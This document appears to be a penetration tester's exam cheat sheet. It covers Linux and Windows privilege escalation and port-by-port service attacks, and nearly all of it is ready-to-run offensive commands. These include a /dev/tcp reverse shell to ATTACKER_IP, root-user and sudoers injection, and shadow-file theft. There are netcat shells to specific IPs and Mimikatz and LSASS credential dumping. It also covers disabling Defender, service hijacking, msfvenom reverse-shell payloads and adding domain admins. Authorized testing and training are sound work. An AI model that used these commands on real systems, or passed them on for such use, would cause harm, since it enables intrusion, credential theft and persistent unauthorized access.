LINUX — Privesc via Writable Script
If sudo -l or a cron runs a script you can write to, drop a payload matching the filename:
#!/bin/bash
chmod u+s /bin/bash # then run: /bin/bash -p to get root shell
Make it executable and wait (or trigger) for it to run as root.
LINUX — Privesc Payloads (root-run file)
When a writable file/script runs as root (cron, sudo, service), drop one of these:
# 1. SUID bash copy
cp /bin/bash /tmp/bash; chmod +s /tmp/bash # then: /tmp/bash -p
# 2. Add a root user to /etc/passwd
echo "hacker:$(openssl passwd -1 password123):0:0:root:/root:/bin/bash" >> /etc/passwd # then: su hacker
# 3. Add yourself to sudo
useradd -m hacker && echo "hacker:password123" | chpasswd && usermod -aG sudo hacker
# 4. Reverse shell
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# 5. Drop an SSH key for root
mkdir -p /root/.ssh && echo "YOUR_PUBLIC_KEY" >> /root/.ssh/authorized_keys && chmod 600 /root/.ssh/authorized_keys
# 6. NOPASSWD sudoers
echo "hacker ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
# 7. Copy /etc/shadow for offline cracking
cat /etc/shadow > /tmp/shadow.bak && chmod 777 /tmp/shadow.bak
# 8. Netcat bind shell
nc -lvnp 5555 -e /bin/bash
Then claim root depending on payload: /tmp/bash -p · su hacker · ssh -i key root@target · sudo su · crack /tmp/shadow.bak with john then su · connect to the bind shell.
Make a user hash for /etc/shadow or /etc/passwd:
openssl passwd w00t # crypt hash
openssl passwd -1 password123 # md5crypt for /etc/passwd
Add a UID-0 user directly:
sudo /usr/sbin/adduser offsec --uid 0
sudo /usr/sbin/adduser offsec --gid 0 # if uid 0 is taken
LINUX — Resources
- book.hacktricks.xyz/linux-hardening/privilege-escalation
- PayloadsAllTheThings — Linux Priv Esc
- hackingarticles.in/linux-privilege-escalation-automated-script/
- hackingarticles.in/linux-privilege-escalation-using-exploiting-sudo-rights/
- Preload library overwrite: medium.com/r3d-buck3t/overwriting-preload-libraries-to-gain-root-linux-privesc
- ired.team Windows named-pipes privesc: ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation
- tex2e.github.io/reverse-shell-generator (has privesc options too)
WINDOWS PRIVILEGE ESCALATION
WINDOWS — Tier 0: First 60 Seconds
whoami /priv :: THE highest-yield check -- token privileges
whoami /groups :: Administrators? Backup Operators?
whoami /all
hostname
systeminfo :: OS, build, patch level, domain membership
PowerShell-native group/owner:
[System.Security.Principal.WindowsIdentity]::GetCurrent().Groups
([System.Security.Principal.WindowsIdentity]::GetCurrent()).Owner
whoami /priv decides everything. SeImpersonatePrivilege enabled -> basically done (Potato -> SYSTEM).
WINDOWS — Tier 1: Token Privileges (fastest path)
Map each whoami /priv entry to its exploit:
- SeImpersonate / SeAssignPrimaryToken -> PrintSpoofer / GodPotato / JuicyPotatoNG -> SYSTEM. (IIS apppool, MSSQL, NETWORK SERVICE almost always have this.)
- SeBackupPrivilege -> read any file -> dump SAM+SYSTEM or ntds.dit
- SeRestorePrivilege -> write any file -> hijack service binary / utilman
- SeTakeOwnershipPrivilege -> take ownership -> overwrite
- SeLoadDriverPrivilege -> malicious driver (Capcom) -> SYSTEM
- SeDebugPrivilege -> inject into SYSTEM / dump LSASS
- SeManageVolumePrivilege -> full disk access primitive
PrintSpoofer64.exe -i -c cmd
GodPotato -cmd "cmd /c whoami"
WINDOWS — Tier 2: Automated Sweep
powershell -ep bypass
. .\PowerUp.ps1; Invoke-AllChecks
winPEASx64.exe
PowerUp finds service misconfigs, unquoted paths, AlwaysInstallElevated, DLL hijacks. WinPEAS is broader/noisier.
WINDOWS — Tier 3: Service Misconfigurations
:: Unquoted service paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"
sc qc <servicename>
:: Weak service permissions
accesschk64.exe -uwcqv "Everyone" * /accepteula
accesschk64.exe -uwcqv "Authenticated Users" *
accesschk64.exe -uwcqv <username> *
:: PowerShell unquoted-path hunt
Get-CimInstance Win32_Service | Where-Object {$_.PathName -notmatch '"' -and $_.PathName -notmatch 'C:\\Windows' -and $_.StartMode -eq 'Auto'} | Select Name,PathName,StartMode
Get-CimInstance Win32_Service | Select Name,StartName,PathName # StartName = run-as account
Vectors: unquoted path + writable parent -> drop C:\Program.exe; weak binary perms -> replace exe; SERVICE_CHANGE_CONFIG -> sc config svc binpath= payload; DLL hijack.
sc stop <svc> & sc start <svc>
Restart-Service <svc> # binPath change isn't native PS -- use cmd: sc config <svc> binpath= "..."
WINDOWS — Tier 4: Registry & Install Misconfigs
:: AlwaysInstallElevated -- both keys = MSI as SYSTEM
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
:: if both =1:
msfvenom -p windows/x64/exec CMD="..." -f msi -o evil.msi
msiexec /quiet /qn /i evil.msi
:: Stored creds in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
Get-ItemProperty HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer -Name AlwaysInstallElevated
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Run
reg query ... /f password /sis genuinely better in cmd -- keep it as primary.
WINDOWS — Tier 5: Credentials Lying Around
cmdkey /list :: stored creds -> runas /savecred
runas /savecred /user:admin cmd
type C:\Windows\Panther\Unattend.xml
type C:\Windows\System32\Sysprep\sysprep.xml
findstr /S /I cpassword \\<domain>\sysvol\*.xml
findstr /si password *.txt *.ini *.config *.xml 2>nul
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
type C:\inetpub\wwwroot\web.config
%systemroot%\system32\inetsrv\appcmd.exe list apppool /text:*
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
reg query "HKCU\Software\Martin Prikryl\WinSCP 2\Sessions" /s
Get-Content (Get-PSReadlineOption).HistorySavePath
Get-ChildItem -Path C:\ -Include Unattend.xml,sysprep.xml -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\ -Include *.txt,*.ini,*.config,*.xml -Recurse -ErrorAction SilentlyContinue | Select-String "password"
vaultcmd /list; vaultcmd /listcreds:"Windows Credentials" /all
WINDOWS — Tier 6: Scheduled Tasks
schtasks /query /fo LIST /v
accesschk64.exe -quv <path-to-task-binary>
Get-ScheduledTask | Where-Object {$_.Principal.UserId -eq "SYSTEM"}
Get-ScheduledTask | Select TaskName,@{n="User";e={$_.Principal.UserId}},@{n="Action";e={$_.Actions.Execute}}
Writable script run by a SYSTEM task -> overwrite, wait for trigger.
WINDOWS — Tier 7: Credential Dumping (after local admin)
:: Mimikatz
privilege::debug
sekurlsa::logonpasswords
lsadump::sam
lsadump::secrets
sekurlsa::tickets
:: comsvcs LSASS dump (AV-blocked alt)
rundll32 C:\windows\System32\comsvcs.dll, MiniDump <LSASS_PID> C:\temp\lsass.dmp full
:: then: pypykatz lsa minidump lsass.dmp
:: SAM + SYSTEM hive
reg save HKLM\SAM sam.save
reg save HKLM\SYSTEM system.save
:: then: impacket-secretsdump -sam sam.save -system system.save LOCAL
WINDOWS — Tier 8: Patch / Kernel (LAST resort)
systeminfo
wmic qfe get Caption,Description,HotFixID,InstalledOn
Get-HotFix | Select HotFixID,InstalledOn
Get-CimInstance Win32_OperatingSystem | select Caption,Version,BuildNumber
Feed systeminfo to Windows Exploit Suggester. Known LPEs: MS16-032, MS16-135, printer/spooler. HiveNightmare (CVE-2021-36934) -- check early on Win10/2019: if icacls C:\Windows\System32\config\SAM shows BUILTIN\Users read, dump hashes from shadow copies without admin.
Order that wins: whoami /priv -> Potato if SeImpersonate -> whoami /groups -> PowerUp/WinPEAS -> service misconfigs -> AlwaysInstallElevated -> saved creds -> scheduled tasks -> dump creds -> kernel last.
WINDOWS — Odd Scenarios & Gotchas
UAC bypass (admin but Medium integrity)
whoami /groups | findstr /i "Mandatory Level" :: Medium = UAC limiting you
whoami /groups | Select-String "Mandatory Level"
Member of Administrators in a medium-integrity shell isn't actually elevated. Bypasses: fodhelper.exe (reliable), eventvwr.exe, sdclt.exe, ComputerDefaults.exe. Or use SeImpersonate. People get an "admin" shell, can't dump SAM, and don't realize it's an integrity problem.
Constrained Language Mode
$ExecutionContext.SessionState.LanguageMode # "ConstrainedLanguage" = locked
Escapes: use cmd/binaries, powershell -version 2, custom runspace.
Defender / AMSI
Get-MpComputerStatus | select RealTimeProtectionEnabled,AntivirusEnabled
Set-MpPreference -DisableRealtimeMonitoring $true # needs admin
Add-MpPreference -ExclusionPath C:\Temp
sc query windefend
Practical: use compiled binaries (PrintSpoofer.exe vs script), run from C:\Windows\Temp, rename tools. Signatures key on names/strings.
AppLocker / WDAC bypass dirs (writable AND usually allowed)
C:\Windows\Tasks
C:\Windows\Temp
C:\Windows\System32\spool\drivers\color
C:\Windows\tracing
Architecture gotcha (bites everyone)
%windir%\sysnative\WindowsPowerShell\v1.0\powershell.exe :: force 64-bit from 32-bit
Use winPEASx64 / PrintSpoofer64 to match the OS or your token enum lies.
Stored creds in vaults / WiFi
vaultcmd /list
netsh wlan show profiles
netsh wlan show profile name="X" key=clear
Other quick checks
type C:\Windows\System32\drivers\etc\hosts :: internal hostnames for pivoting
dir /R :: Alternate Data Streams
vssadmin list shadows :: shadow copies w/ old SAM/configs
Get-Content C:\Windows\System32\drivers\etc\hosts
Get-Item -Path .\file.txt -Stream * # ADS
Get-CimInstance Win32_ShadowCopy
MSSQL privesc nuances
EXEC xp_cmdshell 'whoami';
EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
EXECUTE AS LOGIN = 'sa';
SELECT srvname FROM master..sysservers; -- linked servers (lateral)
EXEC ('xp_cmdshell ''whoami''') AT [LINKED];
SQL service account usually has SeImpersonate -> xp_cmdshell shell -> Potato -> SYSTEM.
Prove your win
whoami :: "nt authority\system" or the admin
hostname & ipconfig
type C:\Users\Administrator\Desktop\proof.txt
Screenshot whoami+hostname+ipconfig+proof.txt in one window with your attack IP visible.
Have ready before the exam
lolbas-project.github.io, PrintSpoofer64/GodPotato/JuicyPotatoNG/winPEASx64/PowerUp.ps1/mimikatz/accesschk64 pre-staged, transfer one-liners + sysnative path in notes, Windows Exploit Suggester DB.
Meta: 30+ min and nothing? You missed SeImpersonate (re-read
whoami /priv), a saved credential, or a writable service/task -- not a kernel exploit.
Net users / groups (cmd + PowerShell)
net user
net user <name>
net localgroup administrators
net group "Domain Admins" /domain
Get-LocalUser
Get-LocalGroupMember Administrators
WINDOWS — Command Bank
Net-new commands from field notes. Backslash paths reconstructed where the source mangled them.
Initial enumeration
ipconfig /all :: interfaces, IP, DNS
arp -a :: ARP table
route print :: routing table
set :: all environment variables
systeminfo :: full system config (save for exploit suggester)
wmic qfe :: patches/updates
wmic product get name :: installed programs
tasklist /svc :: running processes
query user :: logged-on users
net accounts :: password policy
netstat -ano :: active connections
Get-MpComputerStatus # Defender status
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
Get-CimInstance Win32_StartupCommand | select Name,command,Location,User | fl
Get-LocalUser # check description fields
Token / potato escalation (concrete)
c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.3 443 -e cmd.exe" -t *
c:\tools\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.14.3 8443 -e cmd"
LSASS / credential dumping
procdump.exe -accepteula -ma lsass.exe lsass.dmp
rundll32 C:\windows\system32\comsvcs.dll, MiniDump <LSASS_PID> C:\lsass.dmp full
:: mimikatz against the dump
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
pypykatz lsa minidump /path/to/lsass.dmp # parse offline
Service abuse
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" :: unquoted paths
sc qc <service>
icacls "C:\Program Files (x86)\PCProtect\SecurityService.exe" :: check binary perms
cmd /c copy /Y SecurityService.exe "C:\Program Files (x86)\PCProtect\SecurityService.exe" :: replace binary
sc config <service> binpath= "C:\Tools\nc.exe -nlvp 6666 -e C:\Windows\system32\cmd.exe"
sc config <service> obj= ".\LocalSystem" password= ""
net stop <service> & net start <service>
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
accesschk.exe /accepteula "mrb3n" -kvuqsw hklm\System\CurrentControlSet\services :: weak service ACLs in registry
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\ModelManagerService -Name "ImagePath" -Value "C:\Users\john\Downloads\nc.exe -e cmd.exe 10.10.10.205 443"
AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.3 lport=9443 -f msi > aie.msi
msiexec /i c:\users\lafi\desktop\aie.msi /quiet /qn /norestart
Scheduled tasks
schtasks /query /fo LIST /v > schtask.txt
:: run as SYSTEM, every 5 min, then trigger
schtasks /create /ru SYSTEM /sc MINUTE /MO 5 /tn RUNME /tr "\"C:\Tools\sirenMaint.exe\""
schtasks /RUN /TN "RUNME"
DnsAdmins -> SYSTEM (DLL load by dns.exe)
msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll
dnscmd.exe /config /serverlevelplugindll adduser.dll
sc stop dns & sc start dns
SeLoadDriverPrivilege (Capcom)
reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys"
reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1
EoPLoadDriver.exe System\CurrentControlSet\Capcom c:\Tools\Capcom.sys
Credential hunting on disk
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml
findstr /spin "password" *.*
cmdkey /list
dir /S /B *pass*.txt *pass*.xml *cred* *vnc* *.config
netsh wlan show profile <SSID> key=clear :: saved WiFi password
gc (Get-PSReadLineOption).HistorySavePath # PowerShell history
$credential = Import-Clixml -Path 'C:\scripts\pass.xml'
Get-ChildItem C: -Recurse -Include *.rdp,*.config,*.vnc,*.cred -ErrorAction Ignore
.\SharpChrome.exe logins /unprotect
.\lazagne.exe all
Invoke-SessionGopher -Target WINLPE-SRV01
Add an admin / domain admin (post-SYSTEM)
cmd.exe /c net user siren superPassword /add
cmd.exe /c net localgroup administrators siren /add
net group "Domain Admins" siren /ADD /DOMAIN
net group "Enterprise Admins" siren /ADD /DOMAIN
Mount offline VM disks (loot)
guestmount -a SQL01-disk1.vmdk -i --ro /mnt/vmdk
guestmount --add WEBSRV10.vhdx --ro /mnt/vhdx/ -m /dev/sda1
Windows Exploit Suggester
python2.7 windows-exploit-suggester.py --update
python2.7 windows-exploit-suggester.py --database 2021-05-13-mssb.xls --systeminfo win7lpe-systeminfo.txt
NTDS via shadow copy (on DC)
vssadmin CREATE SHADOW /For=C:
cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit
Cross-compile Windows payloads on Linux
apt-get install mingw-w64
i686-w64-mingw32-gcc hello.c -o hello32.exe # 32-bit
x86_64-w64-mingw32-gcc hello.c -o hello64.exe # 64-bit
Pro-tip: stop a shell hanging on a command
cmd.exe /c <command>
cmd.exe /c start <command>
WINDOWS — S1REN Methodology
A fast checklist to run after a Windows foothold:
whoami & whoami /priv & whoami /groups :: who am I, can I do special things
net users & net localgroup administrators :: lateral targets, am I admin
wmic service get name,startname :: services at boot + run-as accounts
netstat -anoy & route print & arp -a & ipconfig /all :: network, loopback-only services to forward out
netsh advfirewall firewall show rule name=all :: permitted traffic
schtasks /query /fo LIST /v > schtasks.txt :: scheduled task I/O
Decision points: SeImpersonate enabled? -> PrintNightmare/Potato. Domain box? -> BloodHound/SharpHound. AlwaysInstallElevated? -> malicious MSI. Listening on loopback only -> portfwd it out with meterpreter and attack locally.
Enumerate every service then check unquoted bin paths + ACLs in a loop:
cd "C:\Windows\TEMP"
sc query state= all | findstr "SERVICE_NAME:" >> ServiceNames.txt
FOR /F "tokens=2 delims= " %i in (ServiceNames.txt) DO @echo %i >> Services.txt
FOR /F %i in (Services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt
Windows — Service-Account Restore + Potato
wget http://192.168.x.x/FullPowers.exe -o C:\Users\Public\FullPowers.exe
wget http://192.168.x.x/nc.exe -o nc.exe
FullPowers.exe -c "nc.exe 192.168.x.x 443 -e cmd.exe" :: restore a service account's privileges
:: then GodPotato / PrintSpoofer with SeImpersonate -> SYSTEM
Windows — File Privileges
dir /A /O /Q :: everything + ownership
dir /Q /S :: ownership recursively
icacls file.txt :: permissions for a file/folder
Get-ACL <path>
ACE inheritance flags: (I) inherited, (OI) object inherit, (CI) container inherit.
Windows — runas
runas /user:domain\<domain_user> cmd.exe :: run as a known user from an unpriv shell
runas /env /profile /user:Administrator "C:\ProgramData\nc.exe -e cmd.exe 192.168.49.249 21"
(RunasCs / Invoke-RunasCs do the same when runas is restricted.)
Windows — elevate to SYSTEM with PsExec
C:\tools\psexec64.exe -accepteula -s -i cmd.exe
winPEAS / colors / output
REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1 :: fix missing colors
winPEAS can save output to a file and push it back over the network with netcat.
Miscellaneous — Gap Fill
Windows firewall enumeration
netsh advfirewall show currentprofile :: State ON = firewall up
netsh advfirewall firewall show rule dir=in name=all :: all inbound rules
netsh firewall show state & netsh firewall show config :: legacy hosts
Linux — list users quickly
cat /etc/passwd | cut -d':' -f1
Two-step escalation — claiming root after a payload runs as root
- SUID
/tmp/bashcopy →/tmp/bash -p - New
/etc/passwduser →su hacker - SSH key drop →
ssh -i your_key root@target - Sudoers write →
sudo su/sudo bash /etc/shadowcopy → crack with john, thensu root- Netcat bind shell →
nc target_ip 5555
Services & Ports — Enumeration & Attack Cheat Sheet
Always full-scan first, then version-scan the open ports. Never assume a service is on its default port.
Scanning First (do this before anything)
# full TCP, all ports
nmap -p- --min-rate 5000 <target> -oA allports
# version + default scripts on open ports
nmap -p<open_ports> -sV -sC <target> -oA detailed
# UDP (SNMP/TFTP/IPMI/DNS)
nmap -sU --top-ports 50 <target>
# autorecon — full auto
sudo env "PATH=$PATH" autorecon -t targets.txt
sudo env "PATH=$PATH" autorecon --single-target <IP>
# banner grab
nmap -sV --script=banner <IP>
echo "" | nc -vv -n -w1 <IP> <port>
# netcat port scanning
nc -nvv <IP> 1-65535 -w 1 -z 2>&1 | grep -v "Connection refused"
for i in $(seq 1 254); do nc -zv -w 1 172.16.50.$i 445; done # subnet sweep
NSE script discovery:
locate -r \.nse$ | xargs grep categories
locate -r \.nse$ | xargs grep categories | grep default.version.safe | grep smb
nmap --script safe -p 445 <IP>
nmap --script "ldap* and not brute" <IP> # -d for debug output
Ping sweep + fingerprint:
fping -asgq <network>/<prefix> # -a alive, -s stats, -g range, -q quiet
nmap -sn <network>/24
dnsrecon -d <domain> -r <IP>/8 # DNS zone walk
nslookup; server <dc-ip>; <hostname> # manual DNS
Web fingerprint:
whatweb http://<IP>
curl -s -I <IP> # -I headers
wget -q -S <IP> # -S server headers
If a banner shows software + version, search "software version exploit" before anything else. OSCP boxes deliberately move SSH to 2222, web to 8000, etc.
Port 21 — FTP
nmap -p21 -sV -sC --script=ftp-anon,ftp-bounce,ftp-syst target
ftp target # try anonymous : anonymous / anything
Try anonymous first always. If in: ls -la, binary, mget *. Note banner/version.
Known-vuln: vsftpd 2.3.4 (smiley backdoor, :) -> shell on 6200); ProFTPD 1.3.3c (backdoor RCE); ProFTPD 1.3.5 (mod_copy SITE CPFR/CPTO -> write webshell).
Chaining: FTP write + known web root -> upload webshell -> RCE. FTP creds often reused for SSH. Pulled files may hold creds/configs.
Additional FTP commands:
wget ftp://<ip> # mirror anonymously
hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasswordlist.txt ftp://<ip> # combo file
Inside ftp session: ls -la · binary · mget * · get file.txt · put shell.php
If anonymous ls fails, type passive to toggle active/passive data channel.
TLS-required FTP: ftps -p 21 user@<ip>
Port 22 — SSH
nmap -p22 -sV target
ssh -v user@target # banner + whether password auth allowed
SSH is rarely the vuln -- it's the destination once you have creds.
Known-vuln: username enum OpenSSH < 7.7 (CVE-2018-15473); libssh auth bypass CVE-2018-10933 (rare).
hydra -L users.txt -P rockyou.txt ssh://target -t 4
chmod 600 id_rsa; ssh -i id_rsa user@target
ssh2john id_rsa > hash; john hash --wordlist=rockyou.txt # encrypted key passphrase
Chaining: creds/keys from anywhere -> SSH. Writable authorized_keys -> drop your key. SSH is also your pivot (-L/-R/-D).
Additional SSH commands:
chmod 600 id_rsa && ssh -i id_rsa <user>@<ip>
hydra -l root -P password-file.txt <ip> ssh
ssh2john id_rsa > id_rsa.hash && john --wordlist=rockyou.txt id_rsa.hash
Konami code: type ~C mid-session to get a prompt and add port forwards without losing the shell.
Port 23 — Telnet
nmap -p23 -sV --script=telnet-encryption target
telnet target
Cleartext; try default/known creds (IoT/network gear). Banner -> device -> default-cred lookup. Creds reused.
If stuck at user/pass prompt: Ctrl+] then quit.
Ports 25/110/143 — SMTP / POP3 / IMAP
nmap -p25 -sV --script=smtp-commands,smtp-enum-users,smtp-open-relay target
smtp-user-enum -M VRFY -U users.txt -t target
nc target 25
VRFY root # 252/250 = exists, 550 = no (also EXPN, RCPT TO)
Known-vuln: open relay; Exim/Haraka CVEs (exim --version).
Chaining: SMTP users -> SMB spray / SSH brute / AS-REP roasting. POP3/IMAP creds -> creds in emails.
SMTP user enum loop:
for user in $(cat users.txt); do echo VRFY $user | nc -nv -w 1 <ip> 25 2>/dev/null | grep ^"250"; done
smtp-user-enum.pl -M EXPN -U /usr/share/wordlists/metasploit/unix_users.txt -t <ip>
POP3 manual:
telnet <ip> 110
USER admin
PASS admin
LIST # list emails
RETR 1 # read email 1
Port 53 — DNS
nmap -p53 -sV target
dig axfr @target domain.local # zone transfer -- leaks all internal records
host -t axfr domain.local target
dnsenum domain.local
Chaining: discovered hostnames -> vhosts, internal targets for pivoting.
host -t ns <domain>; host -t mx <domain>
dnsrecon -d <domain> -t axfr
dnsenum <domain>
nslookup; server <dc-ip>; <hostname>
Port 69 (UDP) — TFTP
nmap -sU -p69 target
tftp target
> get / put # no auth -- read/write if misconfigured
Port 79 — Finger
nmap -p79 -sV --script=finger <target>
finger root@<target>
finger @<target> # list all logged-in users
finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt -t <ip>
Old Unix service; leaks usernames and sometimes session info.
Ports 80/443 — HTTP/HTTPS
whatweb target; nikto -h http://target
feroxbuster -u http://target -w common.txt -x php,txt,html,bak
openssl s_client -connect target:443 # cert leaks hostnames/emails/internal names
sslscan target
Identify stack (Apache/Nginx/IIS, PHP/ASP.NET/Java). See the dedicated Web Hacking notes for full methodology.
High-value apps: Tomcat (/manager/html, tomcat:tomcat -> WAR -> RCE); Jenkins (/script Groovy RCE, often unauth); phpMyAdmin (weak creds -> SQL -> outfile webshell); Drupal (Drupalgeddon 2, CVE-2018-7600); WordPress (wpscan --url target -e ap,u); Werkzeug/Flask debug (console PIN -> RCE).
Additional web commands:
gobuster dir -u <url> -w directory-list-2.3-medium.txt -t 50 -x php,asp,aspx,txt
gobuster dir -u <url> -w common.txt -k -x .txt,.php -U offsec -P elite # basic auth
gobuster vhost -u http://<ip> -w subdomains-top1million-5000.txt -t 50 # vhosts
gobuster dns -d <domain> -w subdomains-top1million-110000.txt --wildcard
davtest -url http://<ip> # WebDAV
curl -v -X OPTIONS <ip> # check for PUT
curl http://<ip> --upload-file test.txt
nikto -h <target> -p 443 -ssl -o out.htm -Format htm # SSL scan to HTML
exiftool <image> # metadata for paths / usernames
wpscan --url <url> -e u,ap,at,cb,dbe
joomscan -u <url> -ec
# Hydra http-post-form (capture fail string in Burp first)
hydra -l none -P rockyou.txt <target> https-post-form "/login:user=^USER^&pass=^PASS^:Invalid" -t 64 -V
msfvenom webshell payloads:
msfvenom -p php/reverse_php LHOST=<ip> LPORT=<port> -f raw > shell.php
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f asp > shell.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f aspx > shell.aspx
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f war > shell.war
SSL:
openssl s_client -connect <target>:443 # cert leaks hostnames / emails / internal names
sslscan <target>
Port 88 — Kerberos
kerbrute userenum -d domain.local --dc target users.txt
impacket-GetNPUsers domain.local/ -usersfile users.txt -no-pass -dc-ip target # AS-REP roast
impacket-GetUserSPNs domain.local/user:pass -dc-ip target -request # Kerberoast
88 + 389 + 445 open = you're at a Domain Controller. Pivot to the AD methodology.
Ports 111/2049 — RPCbind / NFS
nmap -p111,2049 -sV --script=nfs-ls,nfs-showmount,rpcinfo target
showmount -e target
mkdir /mnt/nfs; mount -t nfs target:/share /mnt/nfs -o nolock
Chaining: no_root_squash -> mount, drop SUID-root binary, execute locally -> root. Read SSH keys/configs from exports. Map UID to read files owned by that UID.
NFS SSH-key technique (no_root_squash):
showmount -e <ip>
mount -t nfs <ip>:/home/vulnix /mnt/vulnix
useradd -u 2008 vulnix # match the target UID on your box
su vulnix && mkdir /mnt/vulnix/.ssh
# put your pubkey into /mnt/vulnix/.ssh/authorized_keys
ssh vulnix@<ip>
Ports 135/593 — MSRPC / Endpoint Mapper
nmap -p135 --script=msrpc-enum target
impacket-rpcdump target
rpcclient -U "" -N target # null session
> enumdomusers / queryuser / lsaquery
rpcclient null session is underused -- pulls users, groups, password policy. Try alongside SMB.
rpcclient -U 'domain/svc%PASS' <ip> # % separates user/pass
> enumdomgroups
> enumdomusers
> querygroupmember 0x46a # RID in hex; map via enumdomusers
rpcinfo -p <ip>
Ports 137/138 (UDP) — NetBIOS
nmap -sU -p137 --script=nbstat <target>
nmblookup -A <target> # hostnames / workgroup
nbtscan <ip>
Ports 139/445 — SMB
nmap -p139,445 -sV --script=smb-os-discovery,smb-enum-shares,smb-enum-users,smb-protocols,smb-security-mode,smb-vuln* target
netexec smb target -u '' -p '' --shares
netexec smb target -u 'guest' -p '' --shares
smbclient -L //target/ -N
smbclient //target/share -N
enum4linux-ng -A target
netexec smb target -u '' -p '' --rid-brute # usernames
Known-vuln: EternalBlue MS17-010 (nmap --script smb-vuln-ms17-010, unpatched Win7/2008 -> SYSTEM); SMBGhost CVE-2020-0796 (SMBv3, Win10/2019); MS08-067 (ancient).
netexec smb target -u user -p pass # validate
netexec smb target -u user -p pass --sam # dump SAM if local admin
impacket-psexec user:pass@target # SYSTEM shell
evil-winrm -i target -u user -p pass # if 5985 open
netexec smb target -u admin -H <NTLM> # pass-the-hash
impacket-psexec -hashes :<NTLM> admin@target
Chaining: null session -> usernames -> spray -> foothold. Writable share + scheduled process -> RCE. Dumped creds -> PtH lateral. Config files on shares -> DB/app creds.
Additional smbclient / smbmap commands:
smbclient -L //IP -N # -N no password
smbclient -L //IP -U domain/<user>
smbclient //IP/share/
smbclient "//IP/Share With Spaces/" -U user
smbclient -L //$target --option="client min protocol=core" -U "" # legacy anon
smbclient //IP/secured -U user%pass -c "prompt OFF;recurse ON;mget *" # grab all files
# inside smbclient: recurse on / prompt off / mget *
smbpasswd -U user -r <ip> # change pass if you know old pass
smbmap:
smbmap -H <ip> -u "" -p "" # anonymous
smbmap -u <user> -p <pass-or-NTLM> -H <ip> # NTLM hash works (no LM needed)
smbmap -u <user> -p <pass> -H <ip> -x "net user" # command exec
smbmap -H <ip> --download "notes\note.txt"
smbmap -R Replication -H <ip> # recursive list a share
enum4linux:
enum4linux -a -u user -p <pass> <ip>
./enum4linux-ng.py <ip> -A -C
Port 161/162 (UDP) — SNMP
nmap -sU -p161 -sV --script=snmp-info,snmp-interfaces,snmp-processes target
snmpwalk -v2c -c public target
snmpwalk -v2c -c public target 1.3.6.1.4.1.77.1.2.25 # users
onesixtyone -c communities.txt target # brute community strings
snmp-check target -c public
Defaults: public (read), private (rw). Leaks process command-line args (passwords), software, users, ports, shares. Chaining: process args -> plaintext creds -> SSH/SMB. A quiet goldmine people skip (UDP).
snmpwalk -c public -v 2c <ip> . # trailing dot = walk all OIDs
snmpbulkwalk -Cr1000 -c public -v 2c <ip> . > snmpwalk.1 # 1000 req at once
snmp-check <ip>
snmpenum <ip> public linux.txt
sudo apt install snmp-mibs-downloader # better OID output
Ports 389/636/3268 — LDAP
nmap -p389 -sV --script=ldap-search,ldap-rootdse target
ldapsearch -x -H ldap://target -s base namingcontexts # find base DN
ldapsearch -x -H ldap://target -b "DC=domain,DC=local" # anonymous dump
windapsearch -d domain.local --dc-ip target -U
Anonymous bind -> users/groups, descriptions with passwords. Feeds the AD chain.
Ports 512/513/514 — r-services (rexec/rlogin/rsh)
nmap -p512,513,514 -sV --script=rexec-brute,rlogin-brute <target>
rlogin -l root <ip> # if .rhosts misconfigured -> passwordless root
rsh <ip> <command>
.rhosts trusting + (any host) → instant root. Rare but OSCP-era boxes have them.
Port 548 — AFP (Apple Filing Protocol)
nmap -p548 --script=afp-showmount,afp-ls <target>
macOS shares; often anonymous access.
Port 623 (UDP) — IPMI / BMC
nmap -sU -p623 --script=ipmi-version,ipmi-cipher-zero <target>
IPMI 2.0 Cipher Zero: ipmitool -I lanplus -C 0 -H <target> -U admin -P anything captures hash offline. iLO/iDRAC default creds (admin:admin, root:calvin). High-value — direct server access.
Port 873 — rsync
nmap -p873 -sV target
rsync --list-only rsync://target/ # list modules
